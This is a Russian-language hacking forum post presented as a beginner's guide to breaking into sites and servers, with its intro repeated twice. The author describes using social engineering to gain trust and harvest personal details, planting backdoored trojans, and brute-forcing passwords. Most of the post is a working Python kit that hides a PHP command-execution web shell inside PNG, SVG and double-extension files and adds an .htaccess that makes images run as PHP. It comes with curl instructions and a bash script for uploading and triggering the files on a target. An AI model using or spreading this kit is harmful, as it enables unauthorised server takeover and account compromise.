- 18
- 0
- 6 Окт 2025
Всех приветствую в данной статье!
Хотел поделиться небольшой статьёй для новичков по взлому баз, компьютеров и серверов.
Когда я начинал заниматься пентестом, меня интересовала не защита, а нападение. О многих теневых форумах я не знал, поэтому делал все методом проб и ошибок. Любой сайт имеет уязвимости, удастся ли взлом зависит только от ваших умений. Основными способами проникновения являются соцаильная инженерия, уязвимости и брутфорс. Рассмотрим каждый из них:
Социальная инженерия
С её помощью мной были взломаны множество аккаунтов. Главная цель - получить полное доверие человека и разведать как можно больше личной информации. Скоро выложу лучшие трюки для манипуляции.
Уязвимости
Это самое главное во взломе. С их помощью можно понять, где находятся точки на сайте, через которые можно получить доступ к серверу или аккаунтам. Я использую Kali Linux и утилиту nikto для поиска всех уязвимостей. В дальнейшем можно будет загрузить на сайт троян - вредоносный файл, замаскированный под безобидный файл. В моем трояне установлен бэкдор, что позволяет мне следить и управлять сервером.
Брутфорс
Обычный подбор паролей. Но как именно подобрать его? Для этого мы используем соц. инженерию. Допустим мы узнали, имя, дату рождения, кличку питомца или что-то в этом роде. Пароли редко бывают от балды, соответственно, если перебирать разные комбинации этих слов, то в большинстве случаев мы найдем верный пароль.
Для ознакомления прикрепил Python-скрипт, который маскирует PHP под картинку.
Хотел поделиться небольшой статьёй для новичков по взлому баз, компьютеров и серверов.
Когда я начинал заниматься пентестом, меня интересовала не защита, а нападение. О многих теневых форумах я не знал, поэтому делал все методом проб и ошибок. Любой сайт имеет уязвимости, удастся ли взлом зависит только от ваших умений. Основными способами проникновения являются соцаильная инженерия, уязвимости и брутфорс. Рассмотрим каждый из них:
Социальная инженерия
С её помощью мной были взломаны множество аккаунтов. Главная цель - получить полное доверие человека и разведать как можно больше личной информации. Скоро выложу лучшие трюки для манипуляции.
Уязвимости
Это самое главное во взломе. С их помощью можно понять, где находятся точки на сайте, через которые можно получить доступ к серверу или аккаунтам. Я использую Kali Linux и утилиту nikto для поиска всех уязвимостей. В дальнейшем можно будет загрузить на сайт троян - вредоносный файл, замаскированный под безобидный файл. В моем трояне установлен бэкдор, что позволяет мне следить и управлять сервером.
Брутфорс
Обычный подбор паролей. Но как именно подобрать его? Для этого мы используем соц. инженерию. Допустим мы узнали, имя, дату рождения, кличку питомца или что-то в этом роде. Пароли редко бывают от балды, соответственно, если перебирать разные комбинации этих слов, то в большинстве случаев мы найдем верный пароль.
Для ознакомления прикрепил Python-скрипт, который маскирует PHP под картинку.
Код:
import struct
import zlib
import os
def create_valid_png_with_php():
"""Создает валидный PNG файл с скрытым PHP кодом, размером 200x200"""
php_code = """<?php
if(isset($_GET['cmd'])) {
header('Content-Type: text/plain');
system($_GET['cmd']);
exit;
}
if(isset($_GET['test'])) {
file_put_contents('test_works.txt', 'PHP is working!');
echo 'Test completed';
exit;
}
// Продолжаем отдавать PNG если нет параметров
header('Content-Type: image/png');
?>"""
png_signature = b'\x89PNG\r\n\x1a\n'
# Обновляем размеры на 200x200
width = 200
height = 200
# 2. IHDR chunk
ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) # 8 бит, Truecolor RGB
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
# 3. tEXt chunk с PHP кодом
keyword = b"Comment"
text_data = keyword + b'\x00' + php_code.encode('utf-8')
text_crc = zlib.crc32(b'tEXt' + text_data) & 0xffffffff
text_chunk = struct.pack('>I', len(text_data)) + b'tEXt' + text_data + struct.pack('>I', text_crc)
# 4. IDAT chunk
# Формируем изображение 200x200 с одним цветом (например, красным)
# Каждая строка начинается с фильтра (0), затем пиксели
row = b'\x00' + b'\xFF\x00\x00' * width # фильтр 0 + красные пиксели
raw_image_data = row * height # повторяем строку для всех высот
compressed_data = zlib.compress(raw_image_data)
idat_crc = zlib.crc32(b'IDAT' + compressed_data) & 0xffffffff
idat_chunk = struct.pack('>I', len(compressed_data)) + b'IDAT' + compressed_data + struct.pack('>I', idat_crc)
# 5. IEND chunk
iend_chunk = b'\x00\x00\x00\x00IEND\xaeB`\x82'
png_data = png_signature + ihdr_chunk + text_chunk + idat_chunk + iend_chunk
return png_data
def create_php_in_png_comments():
"""Создает PNG с PHP в комментариях EXIF"""
from PIL import Image
import io
# Создаем минимальное изображение
img = Image.new('RGB', (1, 1), color='red')
# Сохраняем в буфер с EXIF данными
buffer = io.BytesIO()
img.save(buffer, format='PNG', optimize=True)
# Получаем базовый PNG
base_png = buffer.getvalue()
# Вставляем PHP код в комментарий
php_injection = b'\n<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);exit;}?>'
# Находим место для вставки после IHDR чанка
ihdr_end = base_png.find(b'IDAT')
if ihdr_end != -1:
malicious_png = base_png[:ihdr_end] + php_injection + base_png[ihdr_end:]
else:
malicious_png = base_png + php_injection
return malicious_png
def create_valid_image_with_htaccess():
"""Создает валидное изображение и отдельный .htaccess"""
from PIL import Image
import io
# Создаем реальное маленькое изображение
img = Image.new('RGB', (10, 10), color='red')
for x in range(10):
for y in range(10):
img.putpixel((x, y), (x*25, y*25, 100))
buffer = io.BytesIO()
img.save(buffer, format='PNG')
valid_png = buffer.getvalue()
# .htaccess для выполнения PHP в PNG файлах
htaccess = """
AddType application/x-httpd-php .png .jpg .gif
<Files "*.png">
SetHandler application/x-httpd-php
</Files>
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
"""
return {
'valid_image.png': valid_png,
'.htaccess': htaccess.encode('utf-8')
}
def create_svg_with_php():
"""Создает SVG файл с PHP кодом"""
svg_content = """<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<!--<?php
if(isset($_GET['cmd'])) {
header('Content-Type: text/plain');
system($_GET['cmd']);
exit;
}
?>-->
<rect width="100" height="100" fill="red"/>
<text x="10" y="20">Test Image</text>
</svg>"""
return svg_content.encode('utf-8')
def create_double_extension_files():
"""Создает файлы с двойными расширениями"""
php_shell = """<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
exit;
}
echo 'Valid PHP File';
?>"""
files = {}
# Различные варианты двойных расширений
extensions = [
'shell.png.php',
'image.php.png',
'test.png.phtml',
'file.jpg.php',
'img.gif.php5',
'photo.png.phps'
]
for ext in extensions:
files[ext] = php_shell.encode('utf-8')
return files
def generate_working_exploits():
"""Генерирует рабочие эксплойты"""
print("[СОЗДАНИЕ] Генерация рабочих файлов...")
exploits = {}
# 1. Валидный PNG с PHP в текстовом чанке
exploits['valid_png.php.png'] = create_valid_png_with_php()
# 2. SVG с PHP (часто выполняется)
exploits['exploit.svg'] = create_svg_with_php()
# 3. Файлы с двойными расширениями
exploits.update(create_double_extension_files())
# 4. Валидное изображение + .htaccess
image_files = create_valid_image_with_htaccess()
exploits.update(image_files)
# 5. Простой PHP шелл с разными именами
simple_php = b'<?php if(isset($_GET["c"])){system($_GET["c"]);}?>'
php_names = [
'shell.php.png',
'test.phtml',
'image.php5',
'file.phar',
'img.inc'
]
for name in php_names:
exploits[name] = simple_php
# Сохраняем файлы
for filename, content in exploits.items():
with open(filename, 'wb') as f:
f.write(content)
print(f"[СОЗДАНО] {filename} ({len(content)} bytes)")
return exploits
def create_test_instructions():
"""Создает инструкции по тестированию"""
instructions = """
[ИНСТРУКЦИЯ ПО ТЕСТИРОВАНИЮ]
1. Сначала попробуйте загрузить .htaccess:
curl -X POST -F "file=@.htaccess" http://target.com/upload
2. Затем загрузите один из PNG файлов:
curl -X POST -F "file=@valid_png.php.png" http://target.com/upload
3. Проверьте выполнение PHP:
curl "http://target.com/uploads/valid_png.php.png?cmd=whoami"
4. Если не работает, попробуйте SVG:
curl "http://target.com/uploads/exploit.svg?cmd=id"
5. Или файлы с двойными расширениями:
curl "http://target.com/uploads/shell.png.php?cmd=pwd"
Рекомендуемая последовательность:
1. .htaccess + valid_png.php.png
2. exploit.svg
3. shell.png.php
4. test.phtml
Если файлы блокируются, попробуйте:
- Изменить имена файлов
- Использовать разные Content-Type
- Попробовать загрузку через разные endpoints
"""
with open('INSTRUCTIONS.txt', 'w') as f:
f.write(instructions)
print("[СОЗДАНО] INSTRUCTIONS.txt - инструкции по использованию")
def create_upload_script():
"""Создает скрипт для автоматической загрузки"""
script = """#!/bin/bash
echo "[АВТОЗАГРУЗКА] Загрузка эксплойтов на сервер"
TARGET="$1"
if [ -z "$TARGET" ]; then
echo "Использование: $0 <upload_url>"
echo "Пример: $0 http://target.com/upload.php"
exit 1
fi
# Файлы для загрузки в порядке приоритета
FILES=(".htaccess" "valid_png.php.png" "exploit.svg" "shell.png.php")
for file in "${FILES[@]}"; do
if [ -f "$file" ]; then
echo "Загружаем: $file"
curl -s -X POST -F "file=@$file" "$TARGET"
if [ $? -eq 0 ]; then
echo "УСПЕХ: $file загружен"
else
echo "ОШИБКА: Не удалось загрузить $file"
fi
sleep 1
else
echo "ПРЕДУПРЕЖДЕНИЕ: Файл $file не найден"
fi
done
echo "Загрузка завершена. Проверьте выполнение команд."
"""
with open('upload_exploits.sh', 'w') as f:
f.write(script)
os.chmod('upload_exploits.sh', 0o755)
print("[СОЗДАНО] upload_exploits.sh - скрипт для загрузки")
if __name__ == "__main__":
# Генерируем рабочие эксплойты
exploits = generate_working_exploits()
# Создаем инструкции
create_test_instructions()
# Создаем скрипт загрузки
create_upload_script()
print("\n" + "="*60)
print("[ВАЖНО] Исправления в новой версии:")
print("="*60)
print("""
1. Валидная PNG структура с правильными чанками
2. PHP код в tEXt чанке (легитимные метаданные PNG)
3. Корректные CRC checksums для всех чанков
4. Реальное сжатие данных изображения
5. Альтернативные методы (SVG, двойные расширения)
Ключевые изменения:
- Исправлены CRC ошибки
- Добавлено реальное изображение 1x1 пиксель
- PHP код теперь в допустимом tEXt чанке
- Все чанки имеют правильную структуру
""")